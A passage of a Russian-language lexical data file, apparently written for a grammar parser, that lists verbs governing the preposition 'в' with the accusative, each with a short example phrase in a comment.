rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
